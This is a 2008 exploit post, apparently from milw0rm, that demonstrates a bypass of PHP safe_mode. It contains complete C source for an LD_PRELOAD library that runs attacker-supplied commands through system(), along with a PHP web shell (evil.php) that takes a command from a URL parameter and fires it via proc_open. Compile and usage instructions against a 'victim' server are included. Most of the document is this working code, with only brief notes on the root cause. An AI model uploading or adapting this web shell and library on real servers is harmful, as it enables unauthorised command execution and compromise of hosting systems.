-----------------------------------------------------------------------
+ safe-bypass-procopen.txt - yet another way to bypass PHP safe_mode. +
+ By Milen Rangelov <gat3way@gat3way.eu> +
-----------------------------------------------------------------------
This *should* work provided that you have met the following requirements:
1) A writable directory under documentroot to place those files (obviously)
2) You don't have proc_open in your disabled_functions list
3) You are able to compile a shared library on the same platform as the target web server.
The reason I'm publishing that is because I posted a similar bug (putenv()+mail()) which was titled as "Bogus" one by the PHP developers.
Now, this one uses quite the same concept, only different means.
How does this work?
-------------------
You will need to upload 2 files - one precompiled shared library and a php script. Place them in the writable dir and just open http://victim/path/evil.php?c=arbitrarycommand
You'll need to change the $path variable to match the writable directory
Here is the library code, compile with cc -o a.so -fPIC -shared a.c
a.c:
----
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int getuid()
{
char *en;
char *buf=malloc(300);
FILE *a;
unsetenv("LD_PRELOAD");
a=fopen(".comm","r");
buf=fgets(buf,100,a);
write(2,buf,strlen(buf));
fclose(a);
rename("a.so","b.so");
system(buf);
system("mv output.txt .comm1");
rename("b.so","a.so");
free(buf);
return 0;
}
*cut*
And that is the PHP script:
evil.php:
-------------------------
<?php
$path="/var/www"; //change to your writable path
$a=fopen($path."/.comm","w");
fputs($a,$_GET["c"]);
fclose($a);
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("file", $path."/output.txt","w"),
2 => array("file", $path."/errors.txt", "a" )
);
$cwd = '.';
$env = array('LD_PRELOAD' => $path."/a.so");
$process = proc_open('id > /tmp/a', $descriptorspec, $pipes, $cwd, $env); // example command - should not succeed
sleep(1);
$a=fopen($path."/.comm1","r");
echo "<pre><b>";
while (!feof($a))
{$b=fgets($a);echo $b;}
fclose($a);
echo "</pre>";
?>
*cut*
Yeah, I know, it's written pretty lame, it's just a PoC.
Why does that work?
-------------------
Because the PHP devs like to trust the environment. Especially the dynamic loader variables. In the original bug I posted into their bugtracking system, I suggested that they clean them in mail() for example, but....yuck the bug was classified as *bogus*.
This demonstrates exactly the same problem. If you have safe_mode enabled, you cannot execute anything except the binaries in the safe mode exec dir. They prepend a trailing slash to your command string and strip "..". Yet, proc_open() enables you to provide your own environment to pass to the new process. proc_open() executes "/bin/sh -c yourcommand" and even though yourcommand is invalid, the LD_PRELOAD is passed to /bin/sh.
/bin/sh loads your h4h0r library and then BOOM!
I hope you'd find that useful.
BTW....!!! Dolu naglite programisti :DDD !!!
# milw0rm.com [2008-12-09]
